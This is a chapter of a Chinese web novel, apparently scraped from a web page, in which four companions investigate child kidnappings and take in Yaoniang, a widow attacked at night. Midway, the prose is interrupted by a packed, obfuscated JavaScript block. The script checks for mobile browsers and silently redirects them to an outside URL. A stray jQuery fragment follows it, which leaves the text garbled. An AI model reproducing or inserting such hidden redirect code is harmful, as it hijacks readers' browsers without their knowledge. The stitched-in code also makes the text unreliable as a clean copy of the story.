“啊啊啊啊啊啊!!!”即使是胆子大的石祝,此刻也被吓了个半死,洪亮的大嗓门在深夜里发出震耳欲聋的尖叫。
顿时,附近的船和小屋都亮起了灯,怒骂声四起。
“谁啊!大半夜不睡觉鬼叫什么!”
“哪个王八蛋,滚出来啊!”
“……”
长离和柳不白第一时间紧紧捂住耳朵,这损招真是伤敌八百自损一千。
“石头,是我们。”明朝没空捂耳朵,他将另一盏油灯也点亮了,房间里亮堂了些。
听见熟悉的声音后,待看清几人的脸,石祝一屁股坐在地上,还没回过神来,先擦了擦额头的冷汗。
“你们……你们干啥,大半夜的!”反应过来的石祝恼羞成怒,质问三人。
“我们才要问你这几天都在干啥呢。”柳不白抱胸,居高临下地看着石祝。
“别以为能瞒过我们。”长离站在一旁掏了掏耳朵,斜睨了一眼地上的石祝。
“你是想帮她吧。”明朝说着,伸手将石祝拉了起来。
这个她,说的就是前几天在酥饼摊子前遇见的,那个丢了孩子的寡妇瑶娘。
“这有何不可,你干嘛瞒来瞒去的。”柳不白扬了扬下巴,从袖中掏出一张画像,是一张孩子的画像。
画像是柳不白在街上拿回来的,石祝这几天四处打听,特地找人画出了瑶娘女儿的画像,帮着四处张贴画像找孩子,可惜并没有找到什么有用的线索。
“唉,我这不是……你们不知道,寻人很难的……”石祝最清楚,孩子一旦被拐走,人海茫茫,根本无处可寻。
这几天一无所获,石祝都有些垂头丧气的。
“难又如何?”长离挑眉,将画像“啪嗒”一声放在桌子上,“你觉得,我们四个在一起做不到?”
“我说,别太小瞧我们了,”柳不白拍了拍石祝的肩膀,难得安慰他,“也别小瞧你自己。”
石祝抬头,第一次如此认真地,看着面前的三个伙伴,想说什么,最后眼眶微微红了,什么也没说。
“这几天我们也在查。”明朝将这几天打听来的消息说了说。
酒楼茶馆是消息最多的地方,明朝假装去听戏喝茶,实则在打听最近的外来人员。
古水镇不算特别大,来往的商队都是相熟的,若有生面孔,要找住宿吃饭的地方,店小二一般都会有些印象。
长离和柳不白也到附近的村落都走了一遍,丢孩子的不止是瑶娘一家,光是古水镇和附近的村子,丢孩子的就有好几家了。
石祝这几天都早出晚归,一点都没发现,身边的伙伴们也在做着同样的事情。
他一边听着,一边反思自己,竟下意识以为伙伴们不会接手这么麻烦的事情,若是早点和伙伴们说开,也就不用浪费这几天的时间了。
“从作案方式来看,偷孩子的应当是一伙人,要运送这么多孩子,无非是船或者马车。”明朝将古水镇的地图在桌子上展开。
“石头以前跑过镖,对这方面比较熟悉,你和不白去码头和驿站查一查。”明朝手指点一点,地图上附近的码头就一个,驿站有三个。
“好,”柳不白点头,“这些天,我去了那些丢孩子的人家附近打听,被偷孩子的人家大多是孤儿寡母,或是家中只有老人的,都发生在一两个月以前。”
“只有瑶娘这一家是最近的,三娘明天和我去一趟她家,看看有没有什么线索。”
明朝将事情都安排好之后,大家都各自回到房间去休息了。
有了明确要查的方向,这几天如同无头苍蝇一般乱找的石祝,也稍稍安下心来。
他心想,这就是有伙伴可以依靠的感觉,真好啊。
想着想着,早已累坏的石祝迷迷糊糊地睡着了。
夜已深,“浮梦”在水面上,被秋风吹着,微微晃动。
万籁俱寂,唯有水声荡漾,有人却被梦魇缠着,不得脱身。
“……不,不要走,阿娘,阿爹,妹妹……”石祝满头大汗,嘴里低声说着什么,很快,他的表情逐渐狰狞,“放开我,放开我!!!”
石祝双手胡乱挥着,随后猛地坐起来,胸口剧烈起伏着,汗水滴在被子上,他好半晌也没反应过来,就这么呆呆地坐着。
直到听见隔壁房间开门的声音,石祝才恍然发现,窗户外面已然天色大亮了。
后半夜他一直坐着没入睡,眼圈周围已经挂了些青色。
石祝使劲抹了把脸,他不知道有多久没梦到过爹娘妹妹了,也许是最近遇到相似的事情,又让那些记忆重新出现。
他正胡思乱想着。
“石头,吃饭了。”明朝的声音从外面传来。
“来了。”石祝起身,简单收拾了一下,推开门,往客厅走过去。
“啧,你昨晚被围殴了?”柳不白端着早饭,一进门就看见无精打采的石祝趴在桌子上,顶着两个大黑眼圈。
石祝懒懒地抬头看了一眼,今天的早饭是香喷喷的姜丝鱼肉粥和三鲜包子,他勉强提起点精神,埋头开吃,天大地大吃饭最大,先吃为敬。
明朝和长离一走进来,也发现了石祝的异样,以往就算是天塌了,石祝都能吃好睡好,今天竟然破天荒地带着一对黑眼圈。
“石头你咋了?”长离拿起筷子,问了问石祝。
“没睡好,外面野猫太吵了。”说完,接着干饭。
几人面面相觑,快入冬了,外面哪来的野猫。
石祝一口气吃了八个大包子,两大海碗粥,还塞了两个鸡蛋溜溜缝。
“就吃这些吧,胃口不是很好,唉。”他抹了抹嘴,又喝了一杯茶。
“……你哪天要是胃口好的话,是不是连我们三个都得涮一涮下肚了?”柳不白嘴角抽了抽,相处这些天了,还是每天都被石祝的胃口震惊到。
柳不白忍不住盯着石祝的肚子看,这么些东西到底去哪儿了,他的肚子怎么一点都没有鼓起,真是天选大胃王。
吃完早饭,四人就带着各自的任务分开了。
长离和明朝往东边的巷子里走了一会,有户人家的门口挂着白布条和灯笼,这里就是瑶娘家。
长离敲了敲门,等了一会,屋里没有回应。
不应该啊,一大早的,瑶娘一个女子,应该是在家的。
她和明朝对视一眼,“我进去看看。”
明朝点点头,“小心些。”
长离看左右无人,飞身上墙,无声落地。
她四周看了看,大门是从里面锁着的,里屋的门却开了一条缝,走近些才发现,窗户上被戳了一个小洞。
长离推开里屋的门,房间里空无一人,走进房间里面,椅子翻倒在地,有点滴血迹。
不对,有人!长离转头,听见床底下传来微弱的呼吸声。
霜月刺握在手中,长离无声地靠近床底,一个黑影从床底爬出来,就直接冲向长离。
“杀了你!”是瑶娘,头发散乱着,身上还有血迹,她眼神异样地带着一股凶狠,拿着簪子朝长离刺过去。
长离侧身避开,见瑶娘现在状态不好,无法沟通,只能将人打晕了,小心地抱到床上。
将瑶娘身上有血迹的地方一一查看,发现她身上没有伤,是别人的血,昨晚一定是发生了什么。
长离到院子里将大门打开,把情况和明朝说了。
明朝的神情变得凝重,“三娘你先在这里守着她,我去找不白。”
“嗯。”
约莫两刻钟的时间,明朝带着柳不白来了。
柳不白先给瑶娘把脉,好一会,才开始说:“身体虚弱了些,没什么大问题,我给她扎一针。”
他从药箱里拿出一个小瓷瓶,倒出一颗药,让长离将药给瑶娘喂进去,他再给扎上一针。
不多时,瑶娘慢慢醒了过来,她还没什么力气,但眼神清明了些。
“你、你们是谁?”瑶娘眼神满是警惕,她坐起身,到处摸了摸,没找到自己的簪子。
“你别害怕。”长离靠近了些,她抬起双手,示意自己手上什么东西都没有。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620940|206036||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“我叫长离,他叫乌明朝,这是柳不白,你刚刚晕过去了,他是大夫。”
“你们想干什么?”瑶娘见长离是姑娘家,稍稍放松了些,但眼神依旧警惕。
“这是你的女儿,对吗?”长离将怀里的画像展开,慢慢地放到瑶娘面前。
“宝儿,是我的宝儿……”瑶娘小心地拿起画像,反复看着,颤抖的手指摸了摸画像中孩子的脸,红肿的眼眶再次蓄满了眼泪。
“瑶娘,我们是来帮你的,”长离见瑶娘没有抗拒,她就坐在了瑶娘身边,“为了宝儿能早日回家,能告诉我们,你发生了什么事情吗?”
这么多日了,还是头一次有人告诉她,是来帮她的。
瑶娘报过官,也四处找过,都没找到她的宝儿。官府也只说“还在找”,可是根本没有派人出来找过她的宝儿。
她可怜的宝儿,才四岁,就被那可恨的贼人抢走了,现在都不知生死。
想到这里,她这个当娘的就心如刀绞。
“你们、你们真的能帮我吗?”瑶娘像抓住了救命稻草一般,紧紧地抓住了长离的手,她盯着长离,眼神里带着祈求。
“你放心,”长离也握紧了瑶娘的手,“我们一定会帮你的。”
在长离的再三承诺下,瑶娘渐渐放下了警惕。也对,瑶娘心想,她一个寡妇,有什么可图的呢,如果真的要害她,在她晕过去后大可直接动手,也不必救醒她。
瑶娘抹了抹眼泪,缓缓开口:
“昨天夜里,我听见院里有些动静,刚想起来,就看到窗户被戳了一个洞,有烟雾吹进来,我赶紧用被子蒙住了口鼻,假装晕过去了。
有个黑衣人进来后,在房间里到处翻找,他往床上靠近,我就用簪子扎中他的肩膀,他可能没想到我没有昏迷,被扎伤之后他就逃走了,我害怕他还会回来,就躲在床下……”
“有看清这个黑衣人长什么样子吗?”明朝问道。
瑶娘摇了摇头,“他戴着面巾,不过他左边眉毛是断了一截的。”她用手比划了一下,是眉尾断了一截。
记下了这个特征,明朝继续问:“你刚刚说那个人到处翻找……”
“对了,一定是在找这个!”瑶娘从怀里掏出来一张素色的手帕。
长离接过来,展开看了看,帕子上什么也没有。
“给我看看。”柳不白将帕子拿过去,闻了闻,是那天遇见瑶娘的时候,她身上奇怪的药味。
“这帕子是哪来的?”
“那天,那两个贼人抢孩子,我娘……”提到自己已经没了的娘亲,瑶娘哽咽了一下,“是在她手里抓着的,应该是那贼人落下的。”
“这帕子有什么问题?”明朝问道。
柳不白再次闻了闻,“这上面的迷药很常见,药铺都能买到,但还有另一种药味,是常年在船上的人才会用到的。”
“船上?”
“对,”柳不白很确定。
“这样看来,那伙贼人走的是水路,石祝已经在码头打听了。”明朝看向瑶娘,“他们这一次没找到帕子,也许还会再来,你在这不安全。”
“你还有亲戚家能去吗?”长离问道。
“没有。”瑶娘幼年丧父,一直和娘生活在一起,嫁人后,丈夫也没有什么亲戚。即便是相熟的邻居,也不好连累了人家。
“我能跟你们一起吗?”瑶娘忽然想到什么,她抬起头看向长离,目光带着希冀。
长离没说话,和明朝、不白对视了一眼。
“我不会拖累你们的,带上我吧,我想快点找到宝儿,求求你们!”
“你不怕我们也是拐子吗?”柳不白能理解瑶娘寻子心切,但他们三人对瑶娘来说也是陌生人。
瑶娘摇摇头,“只要能找回我的宝儿,怎样都行,何况你们若真的是坏人,我现在也不会还好好的了。”
“可以。”明朝想了想,还是同意了。
长离和不白也没意见,瑶娘到时和长离住在一起。
就这样,瑶娘跟着三人回到了船上。